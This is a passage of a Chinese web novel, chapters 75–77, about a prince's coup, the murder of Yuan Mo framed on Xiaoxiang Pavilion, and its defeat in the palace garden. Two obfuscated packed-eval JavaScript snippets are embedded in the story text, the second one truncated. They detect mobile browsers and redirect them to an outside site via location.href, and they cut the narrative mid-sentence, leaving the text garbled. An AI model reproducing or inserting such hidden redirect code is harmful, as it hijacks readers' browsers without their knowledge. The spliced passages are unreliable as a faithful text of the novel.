“那太子看着阴气重我不喜欢，要是德王殿下我还是乐意的。”众人心想这丫头还真没把这当一回事。 果然她转头就对着萧云雁问道：“云雁，你觉得呢？” “我对皇家的人都没有兴趣。” “好了，不说这个了，正好吃午饭了，袁清你打点一下。”周钦德心中有些失落，他现在一点都不想再听到这个话题。 “是！殿下我今天可以上桌吗？” “你钱也不多了，上桌吧。” “得嘞！” 75. 落血成婚3 相比于在京都这几天，袁墨收到消息可就慢了不少。前几日不知道是碰巧还是周明启蓄意已久，竟然给袁墨安排到一个鸟不拉屎的地方去探查一个官员的底细，只说是对于之后的计划非常重要。 袁墨现在给周明启办事自然没有什么好拒绝的，可是当慧妃的死传来的时候，他就知道这根本不是什么碰巧，当下也顾不上手头的这些事情，直接丢给了跟着来的手下，自己快马加鞭就往回赶。 眼不见只要再翻过这个山头，就可以到京都了，路两旁的草堆，突然一动，紧接着就窜出一群黑衣蒙面人。 要知道现在可是大白天，就算是劫道的山匪都不敢这么猖狂。 “袁大人这么着急是要去哪？本王记得交代给你的事情，你好像还没有做完呀。” 果然这天下哪来这么多山匪，有的不过是毒蝎罢了。 “周明启，你到底在打什么算盘？” “我？我什么都没做呀，只不过是听说你消极怠工，这不来催促催促你。” “慧妃是你杀的。” “哈哈哈，我杀的？那不是袁墨你故意暗中传递假消息，母妃听到之后气死的吗？” “你在说什么？” “袁墨呀袁墨，你与萧妖雪不和已经很久了，可是一直没有机会报复她，如今鬼月之事告于段落，但是只有李治一人伏法，你心中不甘，便心生一计，模仿了萧妖雪的字迹，暗中给了萧云雁旧友慧妃林梦一个假消息，她得知后悲痛欲绝，最终选择轻生，而你现在正打算回京都把这个消息公之于众，以便让萧妖雪背上这杀人犯的罪名。” “周明启你疯了！”袁墨听到这个消息的时候，已经怒不可竭，完全顾不上旁边那些拿着刀剑的黑衣人，冲上去就要对周明启动手。 但是他一个身无分文的柔弱文官，还没来得及近周明启的身就已经被按倒在地了。 “诶，袁大人别那么激动，你可是我的得力干将，还是我的大舅子，我当然只是陈述了我的一个假设而已，至于是不是还是要你点头才行呀。我知道你最后去见了李治，想必他和你说了不少掏心窝子的活，你应该也听进去不少了。” 正说着，周明启突然上前，一把掐住袁墨脖子，神情变得更加高深莫测。 “所以你现在对萧妖雪心软了，你对李家心软了。但是你有没有想过，在他们的眼里你已经害得他们家破人亡了，你和袁梅永远不可能再站到他们那一边，你们会成为永远的敌人。” “你到底想说什么？” 周明启知道袁墨有软肋，他的软肋现在已经被自己紧紧握在了手中，只要提到袁梅，他就会心软。不然当时他去见李治的结果为什么一句都不对袁梅说，可是就是他这样的坚强在周明启看来才是最好摧毁的。 脖子上的禁锢懈去，袁墨这才有机会大口呼吸，刚刚有一瞬间他觉得周明启就是想把他当场掐死。 周明启对着身旁的手下挥了挥手，示意他们可以去暗处待命了。 “袁墨，我与小梅成亲也有小半年了，我扪心自问，这段时间我待你们不薄，先是你的大仇得报，之后又升了官。如果我估计的没错的话小梅应该快有身孕了。可是这半年过来，我那没用的二哥竟然坐上了太子，若是有朝一日他继承了皇位，萧妖雪成了他身边的那个参谋的。 到了那个时候，我们能举家离开京都都是好的结果，说不好到时候只能埋骨京都了，这样的事情以前发生过不少。你应该知道就连圣人当年都是只差一点。所以我要你帮我，我要坐上那个位置，这样大家才能安心。” “太子殿下仁德，他怎么会……” “他不会？那是你们太不了解他了，袁墨我就这样和你说，当年从鬼月一案中顺利走到今天没有几个是清白的。周明志可不是什么好人。” “既然五殿下要强，我自然是尊重你的选择，但是这件事和小梅没什么关系，你要做什么我都可以帮你。” 袁墨知道今天周明启来者不善，现在只能说先把袁梅往外摘出去，之后再同萧妖雪商量应对之策。 “袁墨不愧是你最懂我，我之前确实想过让小梅参与进来，可是我也舍不得呀，毕竟我们是真爱。你既然这么说了，我当然愿意，小梅就当一个潇湘阁少阁主的花架子就好了，其他的事情，就你我来做。” “潇湘阁少阁主？周明启你真的疯了！那是欺君潇湘阁不会放过我们的。” “当然不会放过！就算是现在他们也不会放过我们！”周明启的情绪再度失控，为什么无论是当年的徐战还是现在袁梅和袁墨都对于潇湘阁这么忌惮，不就是几个女人吗？就凭一张脏嘴，竟然能让这么多人高看，这样的人就算是送到他被子里他都不要，也不知道周明理是怎么下得去口的。 “不要把小梅牵扯进来，你让我做什么都可以。”袁墨最终失去了所有力气，周明启这个人这么狠，连自己的母亲都敢杀，袁梅跟在他身边真的太危险了。 “好呀，其实也不是完全没有别的办法，只要我们在事情败漏前，将潇湘阁解决了，那就没事了。所以袁墨你一定会配合我的对吗？” 还是无尽的疯狂，袁墨在周明启眼中已经看不到一丝人性了。 “好，我配合你。” 可是话音未落原本空无一物的视线中出现了一把匕首，袁墨惊惧地抬头，却看见周明启满眼悲伤。 “袁墨，你放心之后我一定会让袁梅平安无事，你就安心去，这把匕首划开人的喉咙后伤口的形状和流彩剑一模一样，这将会成我们关键一笔。” 袁墨看着那泛着寒光的匕首，只觉得呼吸不由得急促起来，出于人的本能，他现在想站起来就跑，可是出于臣子本能，他现在只能顺应好周明启的想法。 盛元十四年初冬，京都城郊的山上，落下了今年的第一场雪，血很快就被雪掩埋，等待着发现他的人的那一声尖叫。 京都潇湘阁楼外，萧妖雪还在马车里懒懒的靠在周明理身上，一动不想动。这京都也开始飘雨，冷风时不时从门缝里透了进来，萧妖雪不由得又把头缩了缩。 周明理看着怀里装睡的人，轻笑一声。但是还是配合摇了摇她，像是叫醒刚刚睡醒的人。 “妖雪，醒醒到地方了。” 萧妖雪却并不睁眼，而是含糊道：“别吵我，正好睡呢。” “我没想到，你睡眠这么好，我都这样你竟然还能睡着。”说着手上的力道不由得加重了一分，随即便看到怀中的人整个人一缩，好在周明理眼疾手快，不然她这一缩就要从凳子上掉下去了。 “你，真是都不能让我安心睡一会。” “现在时辰可不早了，我可不能误了你的正事呀。” 萧妖雪看着周明理那似笑非笑的来就来气。愤愤的说道：“你还知道是你的原因。” 不过确实让贵客久等可不是她潇湘阁的待客之道，虽然现在全身有些酸软无力，虽然现在外面冷雨凄风，虽然现在事情如同一团乱麻，但是时辰确实不早了，她该走了。 正要起身下车，却又被周明理一把拉回到怀中，萧妖雪有些幽怨地看向周明理。 “干嘛？不是你催我走的，拉着我干嘛？” “外面风吹的紧，你一身汗，把大氅披上，别着凉了。” “我这就……”萧妖雪看着近在眼前的潇湘阁大门本想着不用了，却不料被周明理一把套上。 “去吧。” “无聊。” 虽然嘴上不饶人，但是萧妖雪脸上那笑容已经暴露了她的想法。 周明理就这样坐在马车里一直目送萧妖雪进了潇湘阁完全消失在了视线中，这才让车夫驾车离去。 萧妖雪进了文妆留的房间，房中已经有一人了。看来周明理说得有道理，时间真的不早了。 来人见到萧妖雪，还不等萧妖雪兴立就率先拱手道：“恭贺少阁主，喜得良缘。” 萧妖雪被他这一说不由得脸一红。“多谢太子殿下。” 来人正是周明志，萧妖雪回到京都后就立刻办了和周明理的婚事，周明志也不过是在大婚当天和她见了一面，那场合也不是什么说话的好地方，本打算之后再细谈，没想到京都就出了这么大的事情。 “少阁主，关于慧妃娘娘的事情你怎么看？” “我现在手里的证据还充足，我不敢妄下定论。” “是老五干的吧？”周明志说出这话的时候，却意外的平静得很，好像是早有预料一般。 “太子殿下，事关皇家声誉，我不敢妄言。” “我太了解他了，这种事情也只有他能够做出来。证据可以慢慢找，但是我们不能再坐以待毙了。想必少阁主也是这样想的对吗？” 这个问题还真是问到了萧妖雪心上了，周明启这件事开弓没有回头箭，恐怕慧妃的死只是第一步，之后的事情定然是一件接一接如同雨后春笋一般破土而出，若是他们是什么都等着找证据，这将会完全落入被动。但是若是他们也这样做，就相当于在没有任何证据的情况怀疑一个皇子。 “我……” “少阁主，只要我还是太子，你就不会有事。这个保证可否能让你安心一些？” “唉，中间的过程我不知道会是怎样的，但是根据潇湘阁消息，徐战带了一队人马回京都，周明启肯定也知道这件事了。我猜他会先逼宫，废了太子之位。” “然后等着徐战人马到了来演一场清君侧的戏份，然后名正言顺坐上这太子之位甚至是皇位。”周明志自然而然的接下了萧妖雪的话。 “殿下……” “妖雪我知道你还有些犹豫，你想等着周明启逼宫，但是你有没有想过，他在逼宫之前会不会有一环要你和明理的命，会不会有一环要袁梅和袁墨的命。我想你也不想看着他们丧命吧吧？” 萧妖雪听到周明志这话后，沉默了很久，周明志也知道现在不能催她，只能等她想好，若是想不好恐怕所有人都要做最坏的打算了。 “所以我们要快！”终于对面的女子不再沉默，此刻她的眼神更加坚定。萧妖雪知道周明志要快是因为担心夜长梦多，他的太子之位不保，而萧妖雪要快确实如同周明志所说，现在周明启已经疯了，她不想再有更多的人受伤了。 “朝堂这边我会稳住，其他的事情恐怕就要劳烦少阁主了。” “好。太子殿下确实是一个可靠的合作伙伴。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245451|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“可惜，少阁主已经名花有主了，不然我们说不好还能成就一段佳话。” 听了周明志这话，萧妖雪心头一惊，好在周明志及时又说道：“不过我可没兴趣整天和我的盟友混在一块，这还挺无趣。” “殿下说得是。” “明理人不错，你我现在都已经登上天梯了，稍有不慎就是万劫不复，我希望明理可以脚踏实地就好。” “我知道。” 屋外的越来越大，打在楼下的雨棚上噼里啪啦，吵得人心烦。 就在二人打算起身道别的时候，一阵咚咚声插入了落雨的声音中，这让人心中的莫名的慌张。今日潇湘阁都知道这间房间是有重要的事情要谈，这样的情况还会有人敲门，那定然不会是什么好消息。 “进。” 看着进来的人是文妆，萧妖雪心中不安感顿时铺天盖地的袭来。 “文先生，是出了什么事吗？” 文妆脸上看不出一丝表情，开口说出的话更是比这寒雨还冷。 “袁墨死了。” “是谁做的？” 听到这话就连周明志也坐不住了，蹭的就站起了。萧妖雪则是脚一软，一把扶住一旁的桌子，桌上的茶具发出一阵响声，摇晃了好半天才稳住。 “不知道，在城郊的一座山上。” “没有什么线索？”周明志虽然心中清楚，这应该是周明启的手笔，但是他看不透动机。 “嗯……有……”看着文妆欲言又止，周明志似乎被她这吞吞吐吐的态度惹怒了，正准备上前逼问，就被一旁萧妖雪冰冷的声音给震住了。 “和潇湘阁有关？” “什么？”现在周明志头更大了，明明知道是周明启做的，为什么会和潇湘阁扯上关系。 “袁墨脖子伤口，和流彩剑的伤口很吻合。” 听到了预料中的答案，萧妖雪忍不住，闭眼深呼了一口气，周明启果然没打算放过潇湘阁。 “好，好呀。对了，徐菀露怎么样了？” 周明志这才想起了之前萧妖雪托他将徐菀露送去武清宗，中间顺利得很，所以他也忘了和萧妖雪说起。只是现在这节点上，萧妖雪竟然还有心思去关心徐菀露。 “都挺顺利的现在应该已经到武清宗了。” “那就好，走吧，时辰不早了该走了。” “马车已经备好了，跟我来吧。”萧妖雪和周明志跟着文妆一路去了后门，临走了萧妖雪却突然交代到：“殿下，文先生，之后我们应该见面的机会没多少了，你们有什么消息就及时往来，不用再等我了。” “少阁主你？”周明志看着萧妖雪一副壮士一去兮不复还的表情，心中也是不安。 “周明启要玩这么大，我自然要陪他玩。我相信我们中的默契，应该是足够的对吗？” “注意安全。”文妆看着眼前的萧妖雪如同看到了当年的萧云雁，果然还是这句话对于他们这样的人最合适。 萧云雁小记： 入夜周钦德一行人坐在院中小聚，围着一团篝火却半天没人开口，最终还是周钦德问出了心中所想。 “云雁你们跟过来的恐怕不仅仅是林梦不想成婚这么简单吧？” 萧云雁和林梦听到这话，脸上的表情也变的有些不自然。 “是这个理由还不够大吗？”林梦问道。 “不是，是因为如果只是这个理由，你们就不会来找我们了。” “胡铭出事了。” “人还好吗？” “只剩半条命了，不知道挺不挺过得过来。”萧云雁还是一直都没有开口，这鞋回答全是林梦在说。 周钦德也感觉到了不对劲，看向萧云雁。“云雁，和潇湘阁有关？” 要不说德王殿下会被太子惦记，只是几句话的时间就已经猜了个七七八八。 “是云双干的，太子也去了。那天还去了一个人，是段天行。”萧云雁似乎是鼓起了巨大的勇气才开了口。 “段天行？他不是已经被下狱了吗？”周钦德说完也意识到问题所在，还不等萧云雁说话，就自问自答道：“是太子。他疯了吧。既然是这样京都应该不会这么平静。” “太子动用了薄凉宗的力量，杀了江家满门。我们才下一步应该就是殿下你了。” 听到萧云雁说这话，周钦德也总算是明白问什么今天见到这两人虽然嘴上有说有笑，但总是透着一股怪异的感觉。 “我们现在怎么办？”此时林梦已经有些绷不住了，这情形分明是要兵变了。 “回京。”“杀了他。” “什么？”“谁？” 就在周钦德回答的时候，还有一个声音从他们身后身后传来，袁清和徐战一人惊讶一人筋惕，场面顿时有些混乱。 “武清？”萧云雁接着火光看清黑暗处的人影，这是许久未见的武清。 “杀了太子，不然将军阁永远不会消失，只会摆那本加厉。这段时间之前将军阁中的一些人都遭到了薄凉宗围剿，这背后都是太子的手笔。” 听到这话院中的众人陷入了长久的沉默。最后还是周钦德这个主心骨吐出一句：“此事还需要从长计议。” 76. 落血成婚4 袁梅来到袁府的时候，就看着门口人们忙忙碌碌，有张罗着放花圈的、挂挽联的，无一不在宣告着袁墨的离世。 路过的街坊邻居，也都是绕着路走的，在他们这些寻常百姓看来像袁墨这样被人杀死的就是横死。那这袁府就是阴气极重的地方。 袁梅看着袁府这番模样，其实心中还是抱有一丝幻想，毕竟哥哥之前谋划了这么大，这次会不会也是他的谋划之一。但是在看见棺材汇总冰冷的尸体时，袁梅最后一丝幻想也破碎了。 袁墨的尸体就这样安安静静地躺在棺材里，脖子上一道深深的伤口，还可以看到里面凝结的血液。 下人看着五王妃这样呆呆的站在棺材面前，也不哭也不闹，没人敢上去安慰。 最后是一个侍女实在看不下去了，上前劝说道：“夫人，你若是想哭就哭出来吧。” “都给我出去。” 下人们听了如释重负，鱼贯而出，大门关上的声音传来，袁梅再也绷不住了，腿一软扶着棺材就跪了下去，声泪俱下。终于是将这段时间的烦闷和悲痛全部都发泄出来。 可惜这棺材中的人是听不到了，不然心一定也会跟着碎了。 正哭到忘情的时候，理智突然回笼，视线中那双绣花鞋让袁梅顿感后背一凉。 转头看去，虽然是泪眼朦胧，但是她认得出来，那是刚刚上前安慰的她的那个侍女。抹去眼泪再一看，袁梅的眼睛顿时就红了。 猛地起身一把掐住那人的脖子，直到将人重重的逼到了墙上，预料之中的反抗却并没有出现。而袁梅现在也清晰的看到了这人面容。 “为什么？为什么要杀我哥？你竟然还有脸出现在这里。”说着手上的力道更加紧了，指甲划破了女子脖子上的皮肤，一股鲜血顺着白嫩的脖子流了下来。 “你……你真的这么……觉得。”袁梅下手很重，萧妖雪现在只觉得头晕目眩，但是却还是没有一丝反抗。 就这样空气又安静了一会，终于袁梅松开了掐住萧妖雪的手。重新获得呼吸感觉，让萧妖雪蹲在墙角缓了好久。 袁梅心中又何尝不知道，以萧妖雪的身手，刚刚只要她反抗，绝对不会是这样的下场，她这样恐怕都是为了让自己心中能好受一些。 “袁梅，你当真不知道这是谁做的吗？” “我知道。但是又能怎样？”她怎么会不知道，周明启都亲口承认了他杀了慧妃，那么就算再杀个袁墨又怎样呢？可是那是他的丈夫，她还能说什么。 “他要造反了。” “不，他不会的。” “你还在维护他？” “我……” “袁墨在出事之前就见过赵江河，他说了周明启有一个很大的计划。他……” “好了，我现在不想说他。” 萧妖雪的话还是没有说完，就被袁梅厉声打断了，原本已经收回去的眼泪，现在又开始在眼眶中打转了。可是袁梅最终还是深吸了一口气，没有让它流出来。 “妖雪，你走吧，他应该已经接管刑案司了，马上就要对你下手了。没有必要在我这里浪费时间了。” “袁梅，我来不是为了安慰你的。我希望你快点振作起来。不然别说我们了，就连东梁都要不保了。” “东梁不保了与我有什么关系？我的父亲，我的兄长都为了这个国家死了，我现在只剩我的夫君了。妖雪你一定要这样逼我吗？” “但是他现在怎么想你的？他真的将你当作妻子了吗？还是只是一枚用完即弃的棋子？” “你闭嘴！” “你好好想想吧，我现在不会离开这个府邸，若是你想通了我们还可以谈谈，若是没有的话那我就只能一个人去了，但是我可以向你保证，周明启的结局不会因为你的参与有什么变化。” 袁梅站在灵堂中，呆呆的望着萧妖雪离开的方向，这次再也没有哭喊叫嚷，而是眼泪就这样无声从脸庞滑过，甚至过了半晌袁梅才意识到自己已经满脸是泪了。 下午时分，周明启已经安排好刑案司的人去彻查萧妖雪了，可是派出的人却迟迟不见回来，去了周明理那里的人回来也只是说，三王妃一直都没有回王府，周明理也不知道她去了哪。 周明启倒是不着急，京都就这么大，现在城门已经封锁，丁游也被控制了起来，他现在就是瓮中捉鳖。而且京都有这么多值得这位少阁主挂念的，他只要动动手指，想必要不了多时，这人就会自己送上门来。 于是周明启索性就去了糕点行买了一大盒袁梅喜爱的点心，向着袁府的方向就去了。之前下人来说袁梅已经在袁府哭了一天了，不吃不喝的，这人可不能就这样没了。 今日袁府已经打理得差不多了，没有这么多工人，只有零星几个下人时不时走动走动。 周明启进了袁府，就看见袁梅呆呆的坐在花园中，身旁连一个下人都都没有。 “娘子，吃点点心吧。我都听下人说了，你已经一天都没有吃东西了。” 说着周明启将点心盒递了过去，可是袁梅好像根本没有注意到这个人一样，无动于衷。 “都说吃点甜的心情会好点，你看我给你买了你最喜欢的桂花糕。喏，尝一尝吧。” 回应他的还是沉默，周明启本就是一个没什么耐心的，袁梅这样像尊雕塑一样呆坐着，让他的关心一个个落空，已经将他的耐心消耗殆尽了。 “你在这也呆了这么多天了，明天就回去吧。” “我不要。”袁梅总算是开口了，但是这一句决绝登时就让周明启火冒三丈，一掌拍在石桌上，盘子中的点心都被震得撒了不少。 “你够了，我哄也哄了，现在大事当前，哪容得你这样胡闹，你不要，明天要是我没在家里看见你，后果你应该知道。” “你！” “对了，你有没有看到萧妖雪？”周明启隐约中有一种感觉，萧妖雪这样的情况下，很有可能会来袁府。 “没有。” “那还真是可惜了，不然你如果能亲手手刃了仇人，想必心情会好一些吧。好了刑案司我刚接手还有不少事情要我亲自去处理，就不多留了。” 说完，周明启看了一眼还是呆坐着袁梅，眉头一皱，但是也没有再说什么了。只是到了院门外叫出了暗中的暗卫，让他们盯紧袁府，一旦看到有不对劲的事情要第一时间通知他。 院中的袁梅从呆呆的看着天变成了，呆呆地看着那盒点心，路过的侍女以为夫人是因为殿下来过以后心情好了一些，看着点心还是想吃两口的，急忙倒上了热茶。 可是人还没有走过来就看到袁梅一把将那些点心刷碎在地，拂袖而去。 这让这侍女端着那杯茶站在那一动不敢动。 后来袁梅回到了房中，整夜都没有出来，只是烛火一直亮着，看起来也是整夜没睡。 直到天蒙蒙亮的时候，屋内的动静惊动了屋顶上的暗卫。 “你说这真的可以吗？” “我知道那药在哪。” “但是现在圣人并没有清醒，这药未必能证明什么。” “你说太子殿下？可是夫君他……” “好，我知道，我等会回府就去。” 虽然声音隐隐约约，但是暗卫听了几句就觉得不对劲了。急忙飞身潜入黎明前的黑暗，去将这个消息传递给了周明启。 刑案司中的周明启同样彻夜未眠，在听到暗卫的通报后，反倒心中悬着的大石头有一种落地的感觉。 “走吧，回府。” 果然周明启回到府中的时候，接袁梅的马车已经停在了门外，想必现在袁梅正在翻箱倒柜吧，至于萧妖雪应该就在旁边等着她。 “嘭！”房门被人一脚踹开，里面的人显然被吓了一跳，看着那一耸的背影，周明启上前一把把人提了起来。可是当看清样貌时，心中顿感不妙，这竟然只是一个普通的丫鬟。 “你在这里干什么？”此时的小丫鬟已经被周明启的气势吓得呆住了，整个人都在颤抖，眼泪更是不受控制的夺眶而出。 “奴婢……是夫人让奴婢来这里拿金疮药，但是夫人没和奴婢说这个柜子是锁着的。” “她人呢？”周明启这句话基本是喊出来的。 “在……在房间……”还不等丫鬟把话说完，周明启就将人重重的砸向一边的墙上，之后直奔房间而去，完全不顾丫鬟的死活。 可是也正是因为周明启这样头也不回走的了，他才没有发现，刚刚被他摔到一旁的丫鬟竟然又缓缓起身，摸了摸怀中的瓷瓶子，然后就在整个院子都围着周明启转的时候，翻墙出了王府。 周明启到了房间，环视一圈没有看见袁梅的身影，下人上来说道。小姐今早回来了，但是根本就没有回房。 “好好好，这都是你逼我的。来人，给他们送信就说提前行动了。他们真的以为这样本王就会败吗，无知。” 刚刚翻墙出去，丫鬟却并没有走远，而是一直徘徊在院子周围，不出意外的，周明启一出来就看到了鬼鬼祟祟的女子。 “哟，这么好的机会都没走，还在这等人呢？”周明启已经快被这个丫鬟给气笑了，现在府内什么情况她想必是知道，竟然还在里晃荡，真是不怕死。 说着周明启一掌就拍了上去，这丫鬟并没有闪躲，但是周明启手掌与“她”接触的时候就知道，这根本不是刚刚那个人。手掌触碰上去是坚硬木质感，随着周明启的气息递了过去，这个丫鬟也化作了万千木屑。但是在它的中心一个铁块上面闪过一阵微光。随即传出来一句话：“殿下说是潇湘阁进宫快还是你这府邸进宫快呢？” 周明启听完，手上力道再一加，就连那铁块也灰飞烟灭了。 “殿下，我们现在怎么办？”跟在周明启身边的人看着周明启黢黑的脸色，也只能小心翼翼的问道。 “既然他们这么着急送死，那就成全他们，我现在进宫，你们按照原计划进行。要是有人阻拦，屠城就行。” “是！” 而此时的皇宫中，本应该卧病在床的圣人却正坐在御花园的亭子中同周明志、周明理还有萧妖雪有说有笑。 “朕当年好歹也是走过江湖的人，那药汤我喝了第一碗就知道不对劲了，可是为了要陪你们演戏，我还费了这么大劲。不过他真的会来吗？” “陛下要是他不来，你这病不就白装了吗？”萧妖雪虽然嘴上这样轻松的说道，但是周身的气息没有丝毫松懈，就担心周明启从哪里突然杀出来。 “明志、明理这段时间辛苦你们了，明志接下来我打算……” “他来了！”萧妖雪此时也不顾正在说话的是这九五至尊，直接出言打断。 果然下一秒就听到了侍卫的脚步声，但是先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而流彩剑也是一碰即散，没入水池中，溅起冰冷的波浪沾湿了周明启。 飞出去的周明启即将落水，但是毕竟是来练过轻功的人，他一个翻身稳住身形，手掌在水面上一撑向着借此跃到对岸，去不了手掌刚刚沾到水面就被牢牢的粘住了。 随即冰冷的感觉顺着手臂延伸到全身，周明启整个人就被冻在湖中心，身上的冰虽然不厚，但是异常坚固，似乎空气中寒气顿时都聚集在他周身。 除此以外，还有萧妖雪不断放大的身影，以及结实的一脚又稳又准的踹到了周明启的胸口上。顿时周明启就如同断线的风筝一样落到了对岸，一众禁军面前。 一口鲜血喷了出来才让胸前的坚冰融化了少许。 “你……你们以为这样就结束了吗？少阁主我真期待我们能在地牢中相见。”周明启现在已经被冻得话都有些说不清了，但是整个人脸上的阴笑都没有消失。 “你是说外面那些禁军？可惜了人确实会背叛，但是木偶不会。恐怕这地牢只能劳烦五殿下先享受几天了。” “你是什么时候？” “殿下，其实如果这次你的帮手和我一样再多一点，可能我还真要栽个大跟头。可惜了……” 周钦德小记： 周钦德带着众人回去的一路上都异常的安静，直到路边的哭声打破了这份安静。 “王姑娘？”萧云雁和林梦都认出了那个满身是血的女子正是前几日大婚的王文妆，但是这旁边的男子似乎不是江冬藏，而且怎么还有一个小孩。 “救救我，救救我。”王文妆看到萧云雁几人就像是看到了几人就像是抓到救命稻草一样。 “江家到底发生了什么？”周钦德看着狼狈的几人问道。 “是段天行，他带着薄凉宗的人在城中四处屠杀，他们已经疯了。” “那你们是怎么跑出来的？这两位又是？”周钦德显然对于眼前这一组合还是不是很信任。 “德王殿下，在下是薄凉宗的薄凉人丁无名。” 听到薄凉宗几个字的时候，袁墨盒徐战顿时警觉起来将周钦德护在了身后。 王文妆见状急忙解释道：“你们不要误会了，他们不是坏人，就是是他们救了我。” “我受薄凉宗召回到宗门，得知段天行要行这大逆不道的事情，我便偷偷跑了回来，可惜还是慢了一步，只救了王姑娘一人。” “既然是这样我们要更快些了，云雁你之后可以安排人照看一下他们吗？”距离薄凉宗大开杀戒已经过去许久，若是还不能赶回京都，那恐怕就连圣人都岌岌可危了。 “那个，这是转运阵，可帮你们快速回去。”丁无名突然自告奋勇，说罢拿出了一个阵法，就打算沉心运气。 “云雁，你和林梦留下吧。” “可是？”萧云雁似乎有些担心周钦德，虽然袁清和徐战的武功不错，但是若薄凉宗真的丧心病狂了，他们恐怕是应付不过来。 “放心，袁清你到了就去找鬼月的人来，徐战你去兵马司调兵，若是他们不肯，你就和他们说太子遇刺了，让他们镇压薄凉宗。” “是，殿下！” 这是丁无名的阵法也准备好了，金光一闪，周钦德几人就消失在原地。 77. 落血成婚5 被压制住的周明启看着眼前的萧妖雪还是不死心，不断大骂道：“这事情没完，你就等着吧。” “你若是指那些被你策反的兵将的话，你大可以死心了，他们兴不起什么风浪。你若是指徐战的话，我只能说你还是不太来了解他。” 看着周明启这样一副气得双目赤红的模样，萧妖雪心中难免有些得意。 “你……你做了什么？”周明启自以为这两步棋他埋藏的很好，却不料萧妖雪竟然早有了应对之策，心中难免紧张了起来，刚刚那副不在意的姿态，终于变成了垂死挣扎。 “西域最近来一批新鲜货，是会动的木偶，不过对于五殿下来说应该不是一次见了。不过这批木偶可比你当时看到的那个好多了，就连普通士兵都可以操控自如。身上应该还有不少机关暗器，对付你的那些墙头草应该绰绰有余。至于徐战呢，在圣人还没有登基前他就跟着圣人了，你觉得他会在圣人在位的时候造反？还是说他会和他这个几十年的主子做的选择对着干？” “不可能不可能，我怎么就输了。对！你根本是潇湘阁少阁主，你根本不是，就算是周明志那个废人登基了他也不可能再用你了。” “算你还是有点脑子，你这一通造谣确实给我带了不小的麻烦。”萧妖雪这话说的是周明启给他带了不小麻烦，但是她此刻的神情却并没有半分为此困扰的迹象。 周明启也像是抓住了救命稻草一样，“不错，你现在只要放了我，我就会向天下澄清这个事情。” “澄清？你是想昭告天下，三皇子妃是潇湘阁的少阁主，辅佐二皇子成为了太子，这个消息竟然还是五皇子放出来？这事可真是可笑呀。” “不然你也只能退位让贤。”周明启似乎还是没有放弃，他忙乎这么大一圈，能让潇湘阁的少阁主换个人他心里也还平滑些。可不料下一秒，萧妖雪脸上就浮现了一个近似于癫狂的笑容。 随即一句轻飘飘的“想得美”飘入了周明启的耳朵。 然后周明启，压着周明启的士兵，湖对岸的周钦德、周明志和周明理都看得一清二楚。 萧妖雪抽出了身旁侍卫的刀，当着这么多人的卖弄摸了脖子。 “妖雪！”最先反应过来的人还是周明理，一声痛彻心扉的惨叫，久久回荡在御花园中，周钦德也不忍再看，向着河对岸的士兵挥了挥手，示意他们将人压下去。 只有周明志表情看起来稍微平静些，旁人现在却怎么也看不透他到底在想些什么。 西域的事情也如萧妖雪所说的很快得到了平定，徐战本来气势汹汹的带着一队人马向着京都而来，半路却被萧云雁和武清拦住。 徐战与周钦德不同，自从薄凉宗一事后他就很少见过萧云雁了，更别说长居武清宗的武清。前不久萧云雁武功尽失的事情他也有所耳闻，却没料到这么快就见面了。 “徐大人，好久不见。”现在的萧云雁，身上确实没有了当年女侠的盛气凌人，但是就算站在高头大马面前，仍然给人一种此女并非等闲之辈的感觉。 再看她身后的武清，当年武家被灭门的时候，他和袁清前去搭救这小子还是一个毛都没长齐的小娃娃，现在也是一宗之主，看起来也还是意气风发呀。 再看看自己，这些年在官场里浮浮沉沉，头发都白了不少，谁想当年他们也是一起干过大事的人，这十年已过，竟然已经有了这么大差别，若是袁清还在，也不知道会是怎样的。 “好久不见呀。”这句压在徐战心口的好久不见终于得以说出口，当年袁清才出事，他时常做梦都会梦到这一段故事，他就是时常想，这两位听到这个消息会做何反应，却不料过了十年，他们依旧没有什么反应。 “徐大人，你不能再往前了。”萧云雁现在重伤初愈，说话的声音听起来飘忽不定，但是却都清晰的传到了徐战的耳朵里。 “圣人病重，还有乱臣贼子想要谋权篡位，我怎么能不去。” “圣人无碍，你现在去了京都就真的是叛贼了。” “我这么多年为了东梁尽心尽力，这叛贼怎么都落不到我头上。”徐战听着这话就来气，就算是对面的人是萧云雁和武清，他此时也不想再和他们废话。 武清看着萧云雁越来越苍白，也不愿意让她再说，上前一把扶住萧云雁，接过了话头，“周明启反了，结果如何我们知不知道，你现在回去了，要不就成为周明启镇压叛军的功劳，要不就成为周明志镇压叛军的功劳。我想徐大人这都不是你想的吧？” 其实在启程之前徐战心中就隐约感觉这次的事情没有那么简单，可是没想到自己带出来的徒弟不仅派了窦毒那个老毒物来杀他，竟然还想要他的人头邀功。至于那交集不多的周明志，就更不用说了，送上门的人头哪有不要的道理。 可是自己出兵的消息想必已经传到京都了，只是他们现在自己都忙得不可开交，恐怕是没有人有空来理会他，不过过了这段时间可就不好说了，更别说徐菀露还在京都。 眼看徐战眉目间还是游移不定，萧云雁对着身后的人群使了个眼色，大漠沉重的风沙中，突然传来女子清脆如山涧清泉的声音。 “爹爹，别去了。” 这声音像是突然唤醒了徐战的思绪，徐战有些不可置信的抬头，果然在前面看到了徐菀露的身影。 “菀露，你怎么来了？”此时徐战再也坐不住了，翻身就下了马，这些日听着京都的动乱他对于徐菀露很是担心，奈何送去的信件一封回音都没有，不然他也不至于在萧云雁他们已经说明他将要面对的是什么样局面，他还会犹豫不定。 “爹爹，萧已经和我说了，你不要再回去了好吗？” 